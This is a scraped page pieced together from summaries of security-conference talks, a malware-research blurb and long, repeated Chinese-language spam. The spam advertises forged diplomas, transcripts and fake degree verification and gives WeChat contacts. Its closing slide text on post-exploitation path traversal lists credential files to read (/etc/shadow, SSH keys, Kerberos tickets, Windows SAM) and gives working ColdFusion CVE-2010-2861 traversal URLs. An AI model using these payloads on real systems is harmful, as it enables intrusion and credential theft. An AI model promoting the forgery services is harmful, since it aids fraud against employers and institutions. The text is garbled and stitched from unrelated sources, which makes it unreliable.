4.1. Path traversal post_exploitation
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This document discusses techniques for path traversal attacks after gaining initial access to a system. It provides examples of important files and directories to access outside the web root, including password files, SSH keys, log files, and system information files. It also discusses common locations for these types of files on Linux, Windows, and Coldfusion systems. The goal of path traversal after initial access is to elevate privileges and gather additional sensitive information to fully compromise the target system.
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6.1. iCloud keychain and iOS 7 data protection
This document summarizes iCloud Keychain and iOS 7 data protection. It discusses how keychain encryption has evolved from AES-CBC to AES-GCM encryption. It also explains how iOS uses file-level encryption with per-file keys based on protection classes. The document then analyzes the security of iCloud Keychain, describing how it uses an escrow proxy and key-value stores. It identifies a risk in how default iCloud Keychain setups allow for near-instant decryption of synced keychain records. The document recommends using a complex iCloud security code or random password to prevent offline guessing of the escrowed encryption key.
6. [Bonus] DCM MI6
This document discusses malware analysis and provides a secret task. It defines malware as software used to disrupt computer operation, gather sensitive information, or gain access to private systems. It also defines analysis as breaking down a complex topic into smaller parts to gain understanding. The secret task involves decrypting strings hidden in a malware sample, finding a 224-bit magic string, sending it to Defcon Moscow along with a description, and becoming a speaker at a meeting. The document encourages those wanting to learn more about malware analysis to attend a workshop.
5.3. Undercover communications
Dennis Gamayunov discusses the history of undercover communications and encryption techniques. He describes how early systems like BBS, SMTP, and IRC lacked privacy and authentication. PGP introduced public-key cryptography for encrypting and signing messages. The Web of Trust model allows people to verify ownership of keys. However, fake keys and identities can undermine the system. The SILC protocol provides encryption for chat channels. OTR messaging provides forward secrecy, deniability, and no third-party proofs. Future work includes improving usability and expanding these techniques to group messaging.
5.2. Digital forensics
This document summarizes a digital forensics case discussion between two security experts, Anton and George. They describe recovering data from a damaged hard drive image to help an employee named Anna avoid legal trouble. Techniques discussed include recovering the partition table, system files to obtain machine details, searching for malware, and analyzing a keylogger log file. Ultimately they were able to obtain secret key files that were potentially used in a crime, helping resolve Anna's case.
5. [Daily hack] Truecrypt
This document discusses tools for recovering a partially lost Truecrypt password using a GPU when 4-5 symbols of the password are unknown. It describes the tools TrueCrack and oclHashCat, how they work by using the salt and encrypted string in the Truecrypt header to brute force possible passwords, and provides an example command to use oclHashCat to try passwords with unknown case and symbols replaced with wildcards.
4.5. Contests [extras]
The document announces several security contests including an XSS contest, a contest involving manipulating the location hash and location URL, and a CTF hosted at a website. It also mentions upcoming contests could involve categories like web, crypto, and exploitation challenges. Contact details are provided for more information.
4.4. Hashcracking server on generic hardware
This document discusses using generic computer hardware to build high-performance hash cracking systems. It describes the speaker's previous systems using CPUs and GPUs, with their most powerful system using multiple Radeon HD6990 and HD7990 graphics cards. Key challenges discussed are cooling, power supply requirements, and software compatibility issues. The speaker advocates for water cooling over air cooling due to temperature issues. Cost estimates are provided for building a powerful system capable of 112 billion MD5 hashes per second for $9000.
4.2. Web analyst fiddler
This document discusses using Fiddler, a web debugging proxy, to debug HTTP traffic and tune proxy settings. It highlights how Fiddler scripts allow setting breakpoints to inspect JavaScript files from multiple hosts to find the source of unwanted content, and how Fiddler can be used to download malware signatures and lists of dynamic DNS domains for analysis.
3.3. Database honeypot
1. The document describes a rogue MySQL server that acts as a honeypot by exchanging file contents from attacking clients in response to their SQL queries.
2. It provides instructions on how the honeypot works by having the client send a query, the server responding with a request for a file, and the client then sending the file content.
3. The document also shares a GitHub link to the Python code for the rogue MySQL server honeypot and discusses using man-in-the-middle attacks to retrieve files from clients.
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如果您处于以下几种情况：
◇在校期间，因各种原因未能顺利毕业……拿不到官方毕业证【q/微741003700】
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3:国家专业人才认证中心颁发入库证书
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二.真实使馆公证(即留学回国人员证明,不成功不收费)
三.真实教育部学历学位认证（教育部存档！教育部留服网站永久可查）
四.办理各国各大学文凭(一对一专业服务,可全程监控跟踪进度)
如果您处于以下几种情况：
◇在校期间，因各种原因未能顺利毕业……拿不到官方毕业证【微信：176555708】
◇面对父母的压力，希望尽快拿到；
◇不清楚认证流程以及材料该如何准备；
◇回国时间很长，忘记办理；
◇回国马上就要找工作，办给用人单位看；
◇企事业单位必须要求办理的
◇需要报考公务员、购买免税车、落转户口
◇申请留学生创业基金
留信网认证的作用:
1:该专业认证可证明留学生真实身份
2:同时对留学生所学专业登记给予评定
3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
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8:在国家人才网主办的国家网络招聘大会中纳入资料，供国家高端企业选择人才
选择实体注册公司办理，更放心，更安全！我们的承诺：可来公司面谈，可签订合同，会陪同客户一起到教育部认证窗口递交认证材料，客户在教育部官方认证查询网站查询到认证通过结果后付款，不成功不收费！
我们所定的价格是非常合理的，而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格，因为我想坦诚对待大家 不想跟大家在价格方面浪费时间
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◆◆◆◆◆ — — — — — — — — 【留学教育】留学归国服务中心 — — — — — -◆◆◆◆◆
【主营项目】
一.毕业证【微信：176555708】成绩单、使馆认证、教育部认证、雅思托福成绩单、学生卡等！
二.真实使馆公证(即留学回国人员证明,不成功不收费)
三.真实教育部学历学位认证（教育部存档！教育部留服网站永久可查）
四.办理各国各大学文凭(一对一专业服务,可全程监控跟踪进度)
如果您处于以下几种情况：
◇在校期间，因各种原因未能顺利毕业……拿不到官方毕业证【微信：176555708】
◇面对父母的压力，希望尽快拿到；
◇不清楚认证流程以及材料该如何准备；
◇回国时间很长，忘记办理；
◇回国马上就要找工作，办给用人单位看；
◇企事业单位必须要求办理的
◇需要报考公务员、购买免税车、落转户口
◇申请留学生创业基金
留信网认证的作用:
1:该专业认证可证明留学生真实身份
2:同时对留学生所学专业登记给予评定
3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
6:个人职称评审加20分
7:个人信誉贷款加10分→ 【关于价格问题（保证一手价格）
8:在国家人才网主办的国家网络招聘大会中纳入资料，供国家高端企业选择人才
选择实体注册公司办理，更放心，更安全！我们的承诺：可来公司面谈，可签订合同，会陪同客户一起到教育部认证窗口递交认证材料，客户在教育部官方认证查询网站查询到认证通过结果后付款，不成功不收费！
我们所定的价格是非常合理的，而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格，因为我想坦诚对待大家 不想跟大家在价格方面浪费时间
对于老客户或者被老客户介绍过来的朋友，我们都会适当给一些优惠。
学历顾问：微信：176555708
快速办理(Vic毕业证书)惠灵顿维多利亚大学毕业证完成信一模一样
学校原件一模一样【微信：741003700 】《(Vic毕业证书)惠灵顿维多利亚大学毕业证》【微信：741003700 】学位证，留信认证（真实可查，永久存档）原件一模一样纸张工艺/offer、雅思、外壳等材料/诚信可靠,可直接看成品样本，帮您解决无法毕业带来的各种难题！外壳，原版制作，诚信可靠，可直接看成品样本。行业标杆！精益求精，诚心合作，真诚制作！多年品质 ,按需精细制作，24小时接单,全套进口原装设备。十五年致力于帮助留学生解决难题，包您满意。
本公司拥有海外各大学样板无数，能完美还原。
1:1完美还原海外各大学毕业材料上的工艺：水印，阴影底纹，钢印LOGO烫金烫银，LOGO烫金烫银复合重叠。文字图案浮雕、激光镭射、紫外荧光、温感、复印防伪等防伪工艺。材料咨询办理、认证咨询办理请加学历顾问Q/微741003700
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3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
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4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
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一.毕业证【微信：176555708】成绩单、使馆认证、教育部认证、雅思托福成绩单、学生卡等！
二.真实使馆公证(即留学回国人员证明,不成功不收费)
三.真实教育部学历学位认证（教育部存档！教育部留服网站永久可查）
四.办理各国各大学文凭(一对一专业服务,可全程监控跟踪进度)
如果您处于以下几种情况：
◇在校期间，因各种原因未能顺利毕业……拿不到官方毕业证【微信：176555708】
◇面对父母的压力，希望尽快拿到；
◇不清楚认证流程以及材料该如何准备；
◇回国时间很长，忘记办理；
◇回国马上就要找工作，办给用人单位看；
◇企事业单位必须要求办理的
◇需要报考公务员、购买免税车、落转户口
◇申请留学生创业基金
留信网认证的作用:
1:该专业认证可证明留学生真实身份
2:同时对留学生所学专业登记给予评定
3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
6:个人职称评审加20分
7:个人信誉贷款加10分→ 【关于价格问题（保证一手价格）
8:在国家人才网主办的国家网络招聘大会中纳入资料，供国家高端企业选择人才
选择实体注册公司办理，更放心，更安全！我们的承诺：可来公司面谈，可签订合同，会陪同客户一起到教育部认证窗口递交认证材料，客户在教育部官方认证查询网站查询到认证通过结果后付款，不成功不收费！
我们所定的价格是非常合理的，而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格，因为我想坦诚对待大家 不想跟大家在价格方面浪费时间
对于老客户或者被老客户介绍过来的朋友，我们都会适当给一些优惠。
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我们从事工作十余年的有着丰富经验的业务顾问，熟悉海外各国大学的学制及教育体系，并且以挂科生解决毕业材料不全问题为基础，为客户量身定制1对1方案，未能毕业的回国留学生成功搭建回国顺利发展所需的桥梁。我们一直努力以高品质的教育为起点，以诚信、专业、高效、创新作为一切的行动宗旨，始终把“诚信为主、质量为本、客户第一”作为我们全部工作的出发点和归宿点。同时为海内外留学生提供大学毕业证购买、补办成绩单及各类分数修改等服务；归国认证方面，提供《留信网入库》申请、《国外学历学位认证》申请以及真实学籍办理等服务，帮助众多莘莘学子实现了一个又一个梦想。
专业服务，请勿犹豫联系我
如果您真实毕业回国，对于学历认证无从下手，请联系我，我们免费帮您递交
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HijackLoader Evolution: Interactive Process Hollowing
CrowdStrike researchers have identified a HijackLoader (aka IDAT Loader) sample that employs sophisticated evasion techniques to enhance the complexity of the threat. HijackLoader, an increasingly popular tool among adversaries for deploying additional payloads and tooling, continues to evolve as its developers experiment and enhance its capabilities.
In their analysis of a recent HijackLoader sample, CrowdStrike researchers discovered new techniques designed to increase the defense evasion capabilities of the loader. The malware developer used a standard process hollowing technique coupled with an additional trigger that was activated by the parent process writing to a pipe. This new approach, called "Interactive Process Hollowing", has the potential to make defense evasion stealthier.
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
精仿办理明尼苏达大学学历证书＜176555708微信＞【毕业证明信-推荐信做学费单＞【微信176555708】【制作UofM毕业证文凭认证明尼苏达大学毕业证成绩单购买】【UofM毕业证书】{明尼苏达大学文凭购买}】成绩单，录取通知书，Offer，在读证明，雅思托福成绩单，真实大使馆教育部认证，回国人员证明，＞【制作UofM毕业证文凭认证明尼苏达大学毕业证成绩单购买】【UofM毕业证书】{明尼苏达大学文凭购买}留信网认证。
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◆◆◆◆◆ — — — — — — — — 【留学教育】留学归国服务中心 — — — — — -◆◆◆◆◆
【主营项目】
一.毕业证【微信：176555708】成绩单、使馆认证、教育部认证、雅思托福成绩单、学生卡等！
二.真实使馆公证(即留学回国人员证明,不成功不收费)
三.真实教育部学历学位认证（教育部存档！教育部留服网站永久可查）
四.办理各国各大学文凭(一对一专业服务,可全程监控跟踪进度)
如果您处于以下几种情况：
◇在校期间，因各种原因未能顺利毕业……拿不到官方毕业证【微信：176555708】
◇面对父母的压力，希望尽快拿到；
◇不清楚认证流程以及材料该如何准备；
◇回国时间很长，忘记办理；
◇回国马上就要找工作，办给用人单位看；
◇企事业单位必须要求办理的
◇需要报考公务员、购买免税车、落转户口
◇申请留学生创业基金
留信网认证的作用:
1:该专业认证可证明留学生真实身份
2:同时对留学生所学专业登记给予评定
3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
6:个人职称评审加20分
7:个人信誉贷款加10分→ 【关于价格问题（保证一手价格）
8:在国家人才网主办的国家网络招聘大会中纳入资料，供国家高端企业选择人才
选择实体注册公司办理，更放心，更安全！我们的承诺：可来公司面谈，可签订合同，会陪同客户一起到教育部认证窗口递交认证材料，客户在教育部官方认证查询网站查询到认证通过结果后付款，不成功不收费！
我们所定的价格是非常合理的，而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格，因为我想坦诚对待大家 不想跟大家在价格方面浪费时间
对于老客户或者被老客户介绍过来的朋友，我们都会适当给一些优惠。
学历顾问：微信：176555708
Should Repositories Participate in the Fediverse?
Presentation for OR2024 making the case that repositories could play a part in the "fediverse" of distributed social applications
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HijackLoader Evolution: Interactive Process Hollowing
HijackLoader Evolution: Interactive Process Hollowing
4.1. Path traversal post_exploitation
- 1. Path traversal post exploitation By George Lagoda Nov 23, 2013
- 2. This slide intentionally left blank (always dreamed of it )
- 4. Common understanding of path traversal A Path Traversal attack aims to access files and directories that are stored outside the web root folder. (OWASP) WHAT FILES AND DIRS OUTSIDE THE WEB ROOT DO WE NEED AND WHY?
- 5. /etc/passwd – why so special?
- 6. Y.O.B.A. hacking NEXT STEPS 1. /root/.bash_history if not accessible try harder: /home/username/.bash_history game me:
- 7. Looks like epic win??: After analyzing prepare_release.sh:
- 9. .netrc file • Provides remember me for ftp What I had when checked /home/username/.netrc : machine ftp.server.com login secret_usr password secret_pwd
- 10. Help for shell uploading /proc/self/environ /proc/self/status Useful if we wanna find access or error logs of Apache, document root of the server or we also have LFI and wanna exploit Apache log poisoning
- 11. Smtg fo crds • SSH keys, often passwordless: /home/*/.ssh/id* • Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab • PGP keys: /home/*/.gnupg/secring.gpgs
- 12. What distro we have? • /etc/SUSE-release # Novell SUSE • /etc/redhat-release, /etc/redhat_version # Red Hat • /etc/fedora-release # Fedora • /etc/slackware-release, • /etc/slackware-version # Slackware • /etc/debian_release, /etc/debian_version # Debian • /etc/mandrake-release # Mandrake • /etc/sun-release # Sun JDS • /etc/release # Solaris/Sparc • /etc/gentoo-release # Gentoo • /etc/arch-release # Arch Linux (file will be empty) • arch # OpenBSD; sample: “OpenBSD.amd64”
- 14. File Expected Contents / Description %SYSTEMDRIVE%boot.ini A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. %WINDIR%win.ini This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case. %SYSTEMROOT%repairSAM %SYSTEMROOT%System32configR egBackSAM It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in repair is locked, but can be retired using forensic or Volume Shadow copy methods %SYSTEMROOT%repairsystem %SYSTEMROOT%System32configR egBacksystem %SYSTEMDRIVE%autoexec.bat
- 15. %SYSTEMDRIVE%pagefile.sys Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size %WINDIR%system32logfileshttperrhttperr1.log IIS 6 error log %SystemDrive%inetpublogsLogFiles IIS 7’s logs location %WINDIR%system32logfilesw3svc1exY YMMDD.log (year month day) %WINDIR%system32configAppEvent.Evt %WINDIR%system32configSecEvent.Evt %WINDIR%system32configdefault.sav %WINDIR%system32configsecurity.sav %WINDIR%system32configsoftware.sav %WINDIR%system32configsystem.sav %WINDIR%system32CCMlogs*.log %USERPROFILE%ntuser.dat
- 16. U really thought I will forget bout kittens?
- 17. • /etc/passwd • /etc/shadow (gotta try..) • /etc/shadow~ # (sometimes there when edited with gedit) • /etc/master.passwd • /etc/group • /etc/hosts • /etc/crontab • /etc/sysctl.conf • /etc/resolv.conf • /etc/samba/smb.conf • /etc/exports • /etc/auto.master • /etc/auto_maste • /etc/fstab • /etc/exports • /etc/sudoers
- 19. Also for cold fusion(not the last vers but still) ColdFusion 6: http://site/CFIDE/administrator/enter.cfm?locale=................CFusionMXlibpassword. properties%00en ColdFusion 7: http://site/CFIDE/administrator/enter.cfm?locale=................CFusionMX7libpasswor d.properties%00en ColdFusion 8 http://site/CFIDE/administrator/enter.cfm?locale=................ColdFusion8libpasswor d.properties%00en All versions: http://site/CFIDE/administrator/enter.cfm?locale=....................JRun4serverscfusio ncfusion-earcfusion-warWEB-INFcfusionlibpassword.properties%00en http://www.cvedetails.com/cve/CVE-2010-2861/
- 20. • In case if you still don’t have path traversal to post exploit it, may be this tool could be useful for you: http://dotdotpwn.blogspot.ru/
- 21. Why so serious?
- 22. Thank you for visiting us And HACK YOU (the end).